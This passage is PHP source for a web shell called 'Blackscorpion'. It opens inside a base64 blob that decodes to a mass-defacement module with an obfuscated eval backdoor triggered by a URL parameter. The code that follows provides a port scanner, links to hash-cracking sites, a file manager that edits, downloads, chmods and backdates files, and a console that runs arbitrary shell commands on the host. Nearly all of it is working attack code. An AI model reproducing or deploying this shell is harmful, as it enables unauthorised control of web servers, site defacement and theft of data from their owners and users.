GFydCwkaW5keCk7CgkJaWYgKCRmaW5pc2gpe2VjaG8gJzxhIGhyZWY9Imh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJyIgdGFyZ2V0PSJfYmxhbmsiPmh0dHA6Ly8nIC4gJHJvdyAuICcvJyAuICRmaWxlIC4gJzwvYT48YnI+JzsgfQoJCX0KCgl9CgllbHNlaWYoJF9QT1NUWydtYXNzJ10gPT0gJ21hc3NkZWZhY2UnKSB7CgkJZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwoJCXNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJCWVjaG8gIjwvZGl2PiI7CX0KCWVsc2UgewoJCSRkaXJycnIgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwoJCWVjaG8gIgoJCTxjZW50ZXI+PGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+CgkJU2VsZWN0IFR5cGU6PGJyPjxicj4KCQk8L2ZvbnQ+CgkJPHNlbGVjdCBjbGFzcz1cInNlbGVjdFwiIG5hbWU9XCJtYXNzXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+CgkJPG9wdGlvbiB2YWx1ZT1cIm1hc3NkZWZhY2VcIj5NYXNzIERlZmFjZSBBTEwgRGlyPC9vcHRpb24+PC9zZWxlY3Q+PGJyPjxicj4KCQk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Gb2xkZXI6PC9mb250Pjxicj48YnI+CgkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nJGRpcnJycicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj48YnI+CgkJPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+RmlsZW5hbWU6PC9mb250Pjxicj48YnI+CgkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgdmFsdWU9J3Byb2Jyb3MucGhwJyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPjxicj4KCQk8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Db250ZW50IHRvIEFkZDo8L2ZvbnQ+PGJyPjxicj4KCQk8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4Oyc+PC90ZXh0YXJlYT48YnI+PGJyPgoJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nPj4nIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz48YnI+CgkJPC9mb3JtPiAgPGF1ZGlvIGF1dG9wbGF5PiA8c291cmNlIHNyYz1cImh0dHA6Ly93d3cuc291bmRlc2NhcGVzdHVkaW9zLmNvbS9TRVNBdWRpby9TRVMlMjBTaXRlJTIwU291bmRzL0JlZXBzL0JlZXBzLXNob3J0LTAxLndhdlwiIHR5cGU9XCJhdWRpby9tcGVnXCI+PC9hdWRpbz4KPC9jZW50ZXI+IjsKCX0KPz4KPGJyPjxpbWcgc3JjPSJodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2NhdD0wJl9uY19ldWkyPUFlR2V4cThwZGItck9RUW5yZnc4SnFBVHlSVmNqWVNjOE82Tk9QTXYzUDI3Ym9LWDlQUEt5REc3ZUNYRUJERXVnTVZvWWZzWjBkanRCVndvRk1BN1dUVUs2T2dJZnNTbFY0VTNNREV0V3pQZ1VVeXFZUXJaN2dxdERuX0VmS3k2blYwJm9oPTQ1ZDQ3OGU4ZmQ5NzlhZmRkMGRmMTk2ZTkyNGM0OGM0Jm9lPTVCOEEzREVCIiB3aWR0aD0iNDAwIiBoZWlnaHQ9IjMwMCI+Cgk8L2JvZHk+CjwvaHRtbD4KPD9waHAgJHtiYXNlNjRfZGVjb2RlKCdSMHhQUWtGTVV3PT0nKX1bYmFzZTY0X2RlY29kZSgnZEdodGVYUjInKV09YmFzZTY0X2RlY29kZSgnWm5WdVl3PT0nKTtpZihpc3NldCgkX0dFVFtiYXNlNjRfZGVjb2RlKCdZbXhoWTJ0elkyOXljR2x2Ymc9PScpXSkmJiRfR0VUW2Jhc2U2NF9kZWNvZGUoJ1lteGhZMnR6WTI5eWNHbHZiZz09JyldPT1iYXNlNjRfZGVjb2RlKCdZbXhoWTJ0elkyOXljR2x2Ymc9PScpKXske2Jhc2U2NF9kZWNvZGUoJ1IweFBRa0ZNVXc9PScpfVtiYXNlNjRfZGVjb2RlKCdZMk40WW1kaycpXT1iYXNlNjRfZGVjb2RlKCdlQT09Jyk7JHtiYXNlNjRfZGVjb2RlKCdSMHhQUWtGTVV3PT0nKX1bYmFzZTY0X2RlY29kZSgnZVdoa2JtMTZZbU40YldZPScpXT1iYXNlNjRfZGVjb2RlKCdlQT09Jyk7JGgwPWJhc2U2NF9kZWNvZGUoJ1puVnVZdz09Jyk7JHske2Jhc2U2NF9kZWNvZGUoJ1IweFBRa0ZNVXc9PScpfVtiYXNlNjRfZGVjb2RlKCdkR2h0ZVhSMicpXX09YmFzZTY0X2RlY29kZSgnWTNJPScpLmJhc2U2NF9kZWNvZGUoJ1pXRT0nKS5iYXNlNjRfZGVjb2RlKCdkR1ZmJykuYmFzZTY0X2RlY29kZSgnWm5WdScpLmJhc2U2NF9kZWNvZGUoJ1kzUnBiMjQ9Jyk7JHske2Jhc2U2NF9kZWNvZGUoJ1IweFBRa0ZNVXc9PScpfVtiYXNlNjRfZGVjb2RlKCdZMk40WW1kaycpXX09JHskaDB9KGJhc2U2NF9kZWNvZGUoJ0pHTT0nKSxiYXNlNjRfZGVjb2RlKCdaUT09JykuYmFzZTY0X2RlY29kZSgnZGc9PScpLmJhc2U2NF9kZWNvZGUoJ1lXdz0nKS5iYXNlNjRfZGVjb2RlKCdLQ2MvUGljdVltRnpaUT09JykuYmFzZTY0X2RlY29kZSgnTmpRPScpLmJhc2U2NF9kZWNvZGUoJ1gyUmxZdz09JykuYmFzZTY0X2RlY29kZSgnYjJSbEtDUmpLU2s3JykpOyR7JHtiYXNlNjRfZGVjb2RlKCdSMHhQUWtGTVV3PT0nKX1bYmFzZTY0X2RlY29kZSgnZVdoa2JtMTZZbU40YldZPScpXX0oYmFzZTY0X2RlY29kZSgnVUVRNWQyRklRVXRhVjA1dllubEJibEJIYURCaVYzY3JVRWRvYkZsWFVTdFFTRkp3WkVkNGJGQnJTbk5aVjA1eVl6Sk9kbU51UW5CaU1qUTRURE5TY0dSSGVHeFFaMjg0WWtkc2RXRjVRbmxhVjNjNVNXMXNhbUl5TkdsSlNGSTFZMGRWT1VsdGJIUlpWMlJzVEROQ2RWcDVTV2RoU0Vwc1dtb3dhV0ZJVWpCalJHOTJUREl4ZG1NelVtOWFTR1JvWWtkNGQxbFlRbXhqYmsxMVdUSTVkRXd6WkhkTVYwNTJZbTVTYkdKdVVYWmtXRUp6WWpKR2EyTjVPSGxOUkVVeVRIcEJORXd4UW1oaE1teDZaRWRHZFV4VlduTlpWMk4wVW01V2MySkRNVWxTUXpCNFRVUm5kMk5ETVZoWlYzaHpZMGRHZDFwWVNYVmhia0p1U1dvME9Fd3lhR3haVjFFclVFZEtkbHBJYXl0RGFuaDZaRWhzYzFwVU5FdFpiVGxyWlZoelMxcHRPWFZrUXpGdFdWY3hjR0pJYXpaSlEwcFRXVmRPY0dKdFkyZFZNa1oxWTNsQ1VHSnRWV2xNUTBKcVpGaEtlbUZZV214UGQzQnBXVmRPY2xvelNuWmtWelZyVEZkT2RtSkhPWGxQYVVGcVdsUmFiRTV0VlRKUGQzQXdXbGhvTUV4WVRtOVpWMUoyWkhwdmQyTklaMmROU0VJMFNVUkdkMlZEUVdwT2VsVXpUbFJqTVU5M2NEbERhVTVxWWpJMU1GcFhOVEJKU0ZKNVQyMW9kbVJ0Vm5sbGQzQnBXVmRPY2xvelNuWmtWelZyVEZkT2RtSkhPWGxQYVVGcVRtcE5NazFxV1hwUGQzQXdXbGhvTUV4WVRtOVpWMUoyWkhwdmQyTklaMmROU0VJMFNVUkZkMk5JWjJkSk1scHRXbXB6UzJaUmIycFpNamwxWkVkV2RXUkRRWFZhYld4NVl6TlNOME50U21oWk1uUnVZMjA1TVdKdFVYUlpNamx6WWpOSk5rbElUbkJpU0Zwc1kycHpTMlpSYjJwWk1qbDFaRWRXZFdSRFFYVmFiV3g1WXpOUk5tRkhPVEphV0VvM1EyMUthRmt5ZEc1amJUa3hZbTFSZEZreU9YTmlNMGsyU1VoT2NHSklXbXhqYW5OTFpFZFdOR1JETVhwaFIwWnJZak5qTmsxSVFqUkpSRUozWlVOQmVHTklaMmRKZW1NeFRucFZNMDVVYzB0bVVYQXdXVmRLYzFwWWMwdFpiVGw1V2tkV2VVOXBRWGhqU0dkblNYcEJkMDFFUVhkTlEwSnJZak5TTUZwWFVUZERiakJMVTBSR04wTnRXblppYmxGMFdtMUdkR0ZYZURWUGFVRnBWVzVzYkVscGQyZFpNMVo1WXpKc01scFVjMHRtVVhCb1pYZHdhbUl5ZUhaamFuQnBZa2hXYkU5M2NEQmFXR2d3VEZkU2JGa3lPWGxaV0ZKd1lqSTBOa2xITlhaaWJWVTNRMjR3UzFsVWNHOWlNMXBzWTI1elMxa3lPWE5pTTBrMlNVTk9hbHBFUVhkYWJWazNRMjVTYkdWSVVYUmpNbWhvV2tjNU0wOXFRbmRsUTBGM1kwaG5aMDFVUW5kbFEwRnFXbTFhYlZwdFdtMVBkM0E1UTIxc2RXTklWakJNU0U1c1lrZFdhbVJEZURCYVdHZ3dXVmhLYkZsWWMwdFpiVGw1V2tkV2VVOXBRWGhqU0dkblNYcEJkMDFFUVhkTlEwSjZZako0Y0ZwRWMwdE1WekYyWldreGFXSXpTbXRhV0VsMFkyMUdhMkZZVm5wUGFVRXhZMGhuTjBOcE1UTmFWMHB5WVZoUmRGbHRPWGxhUjFaNVRGaEthRnBIYkRGamVtOHhZMGhuTjBOdFNuWmpiVkpzWTJreGVWbFhVbkJrV0UwMlRsaENORTkzY0RsRGFuZDJZek5TTldKSFZTdERhbmQyVTBWV1FsSkVORXRRUlVwUVVrWnJLME5xZUVsTlZEUTRXVEpXZFdSSFZubFFhbmh0WWpJMU1FbEhUblppUnpsNVVGTktlVnBYVVdsUWEwNTJXa2RXYTBsSFNqVkpSVXB6V1ZkT2NtTXlUblpqYmtKd1lqSTBPRXd5V25aaWJsRXJRMnA0YVdOcU5EaGFiVGwxWkVOQ2FtSXllSFpqYWpCcFdXMTRNVnBUU1N0bWJqVXJWVWhLZGtsRWVHMWlNalV3U1VkT2RtSkhPWGxRVTBwNVdsZFJhVkJyU25saWVuZDJXbTA1ZFdSRU5YcG1ialVyVUVNNWJXSXlOVEJRWjI5blVFTTVhbHBYTlRCYVdFa3JVRU01U1UxVU5FdFFSMDVzWW01U2JHTnFORXRRUjFwMlkyMHdaMkpYVmpCaFJ6bHJVRlpDVUZVeFVXZGFWelZxWkVoc2QxcFVNR2xpV0ZaelpFZHNkMWxZU2pCTU1scDJZMjB3ZEZwSFJqQlpVMGxuV1ZkT01HRlhPWFZRVTBscFVHZHZaMGxEUVdkUVIyeDFZMGhXTUVsSVVqVmpSMVU1WkVkV05HUkRRblZaVnpGc1VGaENhR1JIWnl0RFoyczRZVmMxZDJSWVVXZGtTR3gzV2xRd2FWcHRiSE5hVTBsblltMUdkRnBVTUdsYWJXeHpXbGhOYVZCbmIwcFFSMngxWTBoV01FbElValZqUjFVNVl6TldhV0pYYkRCSlNGcG9Za2hXYkZCVFNsWmpSM2gyV1ZkUmFWQm5iemhNTWxwMlkyMHdLMUJET1dsaU1sSTFVR3AzZGxreVZuVmtSMVo1VUdwM2RtRklVblJpUkRSdVQzZHZhMXB0YkhOYVdFMW5VRk5DUVVwR09VZFRWWGhHVlRGemFWcHRiSE5hV0UxcFdGUnpTMkZYV1dkTFExSnRZVmQ0YkdNeGMybGliVVowV2xOS1pFbERSVGxKUTJOdVMxTkNOME5wUVdkSlEwRnJXbTVXYzJKSVFtaGtSMmRuVUZOQmExZ3hTa1pWVmxaR1ZURlNZa2x1UW1oa1IyZHBXRk5CZFVsRFVtMWhWM2hzWXpGemFXSnRSblJhVTBwa1QzZHZaMGxEUVdkaFYxbG5TMGN4ZG1SdFZtWmtXRUp6WWpKR2ExcFhVbVphYld4eldsTm5hMXB0YkhOYVdFNWlTak5TZEdOR09YVlpWekZzU2pFd2MwbERVbTFrVjNoelkwZEdNR0ZEYTNCSlNITkxTVU5CWjBsRFFXZEpRMEpzV1RKb2RrbERTVGhaTWxaMVpFZFdlVkJxZUc5TmFqUTRXVk5DYjJOdFZtMVFVMk5yV201V2MySklRbWhrUjJkdVNVaFNhR050Wkd4a1JEQnVXREpLYzFsWE5YSktlalZFWWtkc2FtRjVRakJpZVVKb1dUSk9iR016VFdka1dFSnpZakpHYTFwWFVXZFNiV3h6V2xSM2RsbFVORGhNTW1kNVVHcDNkbGt5Vm5Wa1IxWjVVR2xKTjBOcFFXZEpRMEk1UTI0d1MxQjZORDA9JykpO2V4aXQ7fT8+";
- $writing = @fopen("blackiedir.php", "w");
- @fwrite($writing, base64_decode($dirdeface));
- @fclose($writing);
- ?>
- <center>
- <h1>Dir Deface Modified by Blackie</h1>
- <br><br>
- <iframe src="blackiedir.php" height="700" width="100%"></iframe>
- </center>
- <br><br>
- <?php
- BlackscorpionFooter();
- }
- function actionPortScanner() {
- BlackscorpionHeader();
- echo '<center><h1>Port Scanner</h1></center>';
- echo '<div class="content">';
- echo '<form action="" method="post">';
- if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
- $start = strip_tags($_POST['start']);
- $end = strip_tags($_POST['end']);
- $host = strip_tags($_POST['host']);
- for($i = $start; $i<=$end; $i++){
- $fp = @fsockopen($host, $i, $errno, $errstr, 3);
- if($fp){
- echo 'Port '.$i.' is <font color=green>open</font><br>';
- }
- flush();
- }
- } else {
- echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
- <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
- <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
- Host: <input type="text" name="host" value="localhost"/><br /><br />
- Port start: <input type="text" name="start" value="0"/><br /><br />
- Port end:<input type="text" name="end" value="5000"/><br /><br />
- <input type="submit" value="ScanPorts" />
- </form></center><br /><br />';
- }
- echo '</div>';
- BlackscorpionFooter();
- }
- function actionStringTools() {
- if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
- if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
- if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
- if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
- if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
- $stringTools = array(
- 'Base64 encode' => 'base64_encode',
- 'Base64 decode' => 'base64_decode',
- 'Url encode' => 'urlencode',
- 'Url decode' => 'urldecode',
- 'Full urlencode' => 'full_urlencode',
- 'md5 hash' => 'md5',
- 'sha1 hash' => 'sha1',
- 'crypt' => 'crypt',
- 'CRC32' => 'crc32',
- 'ASCII to HEX' => 'ascii2hex',
- 'HEX to ASCII' => 'hex2ascii',
- 'HEX to DEC' => 'hexdec',
- 'HEX to BIN' => 'hex2bin',
- 'DEC to HEX' => 'dechex',
- 'DEC to BIN' => 'decbin',
- 'BIN to HEX' => 'binhex',
- 'BIN to DEC' => 'bindec',
- 'String to lower case' => 'strtolower',
- 'String to upper case' => 'strtoupper',
- 'Htmlspecialchars' => 'htmlspecialchars',
- 'String length' => 'strlen',
- );
- if(isset($_POST['ajax'])) {
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', true);
- ob_start();
- if(in_array($_POST['p1'], $stringTools))
- echo $_POST['p1']($_POST['p2']);
- $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
- echo strlen($temp), "\n", $temp;
- exit;
- }
- if(empty($_POST['ajax'])&&!empty($_POST['p1']))
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
- BlackscorpionHeader();
- echo '<center><h1>String conversions</h1></center><div class=content>';
- echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
- foreach($stringTools as $k => $v)
- echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
- echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
- if(!empty($_POST['p1'])) {
- if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
- }
- echo"</pre></div><br><h1>Search files:</h1><div class=content>
- <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
- <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
- <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
- <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
- <tr><td></td><td><input type='submit' value='>>'></td></tr>
- </table></form>";
- function BlackscorpionRecursiveGlob($path) {
- if(substr($path, -1) != '/')
- $path.='/';
- $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
- if(is_array($paths)&&@count($paths)) {
- foreach($paths as $item) {
- if(@is_dir($item)){
- if($path!=$item)
- BlackscorpionRecursiveGlob($item);
- } else {
- if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
- echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
- }
- }
- }
- }
- if(@$_POST['p3'])
- BlackscorpionRecursiveGlob($_POST['c']);
- echo "</div><br><h1>Search for hash:</h1><div class=content>
- <form method='post' target='_blank' name='hf'>
- <input type='text' name='hash' style='width:200px;'><br>
- <input type='hidden' name='act' value='find'/>
- <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
- <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
- <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
- </form></div>";
- BlackscorpionFooter();
- }
- function actionFilesTools() {
- if( isset($_POST['p1']) )
- $_POST['p1'] = urldecode($_POST['p1']);
- if(@$_POST['p2']=='download') {
- if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
- ob_start("ob_gzhandler", 4096);
- header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
- if (function_exists("mime_content_type")) {
- $type = @mime_content_type($_POST['p1']);
- header("Content-Type: " . $type);
- } else
- header("Content-Type: application/octet-stream");
- $fp = @fopen($_POST['p1'], "r");
- if($fp) {
- while(!@feof($fp))
- echo @fread($fp, 1024);
- fclose($fp);
- }
- }exit;
- }
- if( @$_POST['p2'] == 'mkfile' ) {
- if(!file_exists($_POST['p1'])) {
- $fp = @fopen($_POST['p1'], 'w');
- if($fp) {
- $_POST['p2'] = "edit";
- fclose($fp);
- }
- }
- }
- BlackscorpionHeader();
- echo '<h1>File tools</h1><div class=content>';
- if( !file_exists(@$_POST['p1']) ) {
- echo 'File not exists';
- BlackscorpionFooter();
- return;
- }
- $uid = @posix_getpwuid(@fileowner($_POST['p1']));
- if(!$uid) {
- $uid['name'] = @fileowner($_POST['p1']);
- $gid['name'] = @filegroup($_POST['p1']);
- } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
- echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?BlackscorpionViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.BlackscorpionColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
- echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
- if( empty($_POST['p2']) )
- $_POST['p2'] = 'view';
- if( is_file($_POST['p1']) )
- $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
- else
- $m = array('Chmod', 'Rename', 'Touch');
- foreach($m as $v)
- echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
- echo '<br><br>';
- switch($_POST['p2']) {
- case 'view':
- echo '<pre class=ml1>';
- $fp = @fopen($_POST['p1'], 'r');
- if($fp) {
- while( !@feof($fp) )
- echo htmlspecialchars(@fread($fp, 1024));
- @fclose($fp);
- }
- echo '</pre>';
- break;
- case 'highlight':
- if( @is_readable($_POST['p1']) ) {
- echo '<div class=ml1 style="background-color: green;color:black;">';
- $code = @highlight_file($_POST['p1'],true);
- echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
- }
- break;
- case 'chmod':
- if( !empty($_POST['p3']) ) {
- $perms = 0;
- for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
- $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
- if(!@chmod($_POST['p1'], $perms))
- echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
- }
- clearstatcache();
- echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
- break;
- case 'edit':
- if( !is_writable($_POST['p1'])) {
- echo 'File isn\'t writeable';
- break;
- }
- if( !empty($_POST['p3']) ) {
- $time = @filemtime($_POST['p1']);
- $_POST['p3'] = substr($_POST['p3'],1);
- $fp = @fopen($_POST['p1'],"w");
- if($fp) {
- @fwrite($fp,$_POST['p3']);
- @fclose($fp);
- echo 'Saved!<br><script>p3_="";</script>';
- @touch($_POST['p1'],$time,$time);
- }
- }
- echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
- $fp = @fopen($_POST['p1'], 'r');
- if($fp) {
- while( !@feof($fp) )
- echo htmlspecialchars(@fread($fp, 1024));
- @fclose($fp);
- }
- echo '</textarea><input type=submit value=">>"></form>';
- break;
- case 'hexdump':
- $c = @file_get_contents($_POST['p1']);
- $n = 0;
- $h = array('00000000<br>','','');
- $len = strlen($c);
- for ($i=0; $i<$len; ++$i) {
- $h[1] .= sprintf('%02X',ord($c[$i])).' ';
- switch ( ord($c[$i]) ) {
- case 0: $h[2] .= ' '; break;
- case 9: $h[2] .= ' '; break;
- case 10: $h[2] .= ' '; break;
- case 13: $h[2] .= ' '; break;
- default: $h[2] .= $c[$i]; break;
- }
- $n++;
- if ($n == 32) {
- $n = 0;
- if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
- $h[1] .= '<br>';
- $h[2] .= "\n";
- }
- }
- echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
- break;
- case 'rename':
- if( !empty($_POST['p3']) ) {
- if(!@rename($_POST['p1'], $_POST['p3']))
- echo 'Can\'t rename!<br>';
- else
- die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
- }
- echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
- break;
- case 'touch':
- if( !empty($_POST['p3']) ) {
- $time = strtotime($_POST['p3']);
- if($time) {
- if(!touch($_POST['p1'],$time,$time))
- echo 'Fail!';
- else
- echo 'Touched!';
- } else echo 'Bad time format!';
- }
- clearstatcache();
- echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
- break;
- }
- echo '</div>';
- BlackscorpionFooter();
- }
- function actionConsole() {
- if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
- $_POST['p1'] .= ' 2>&1';
- } elseif(!empty($_POST['p1']))
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
- if(isset($_POST['ajax'])) {
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', true);
- ob_start();
- echo "d.cf.cmd.value='';\n";
- $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".BlackscorpionEx($_POST['p1']),"\n\r\t\\'\0"));
- if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
- if(@chdir($match[1])) {
- $GLOBALS['cwd'] = @getcwd();
- echo "c_='".$GLOBALS['cwd']."';";
- }
- }
- echo "d.cf.output.value+='".$temp."';";
- echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
- $temp = ob_get_clean();
- echo strlen($temp), "\n", $temp;
- exit;
- }
- if(empty($_POST['ajax'])&&!empty($_POST['p1']))
- BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
- BlackscorpionHeader();
- echo "<script>
- if(window.Event) window.captureEvents(Event.KEYDOWN);
- var cmds = new Array('');
- var cur = 0;
- function kp(e) {
- var n = (window.Event) ? e.which : e.keyCode;
- if(n == 38) {
- cur--;
- if(cur>=0)
- document.cf.cmd.value = cmds[cur];
- else
- cur++;
- } else if(n == 40) {
- cur++;
- if(cur < cmds.length)
- document.cf.cmd.value = cmds[cur];
- else
- cur--;
- }
- }
- function add(cmd) {
- cmds.pop();
- cmds.push(cmd);
- cmds.push('');
- cur = cmds.length-1;
- }
- </script>";
- echo '<center><h1>Console</h1></center><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
- foreach($GLOBALS['aliases'] as $n => $v) {
- if($v == '') {
- echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
- continue;
- }
- echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
- }
- echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
- if(!empty($_POST['p1'])) {
- echo htmlspecialchars("$ ".$_POST['p1']."\n".BlackscorpionEx($_POST['p1']));
- }
- echo '</textarea><table style="border:1px solid #df5;background-color:#666;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
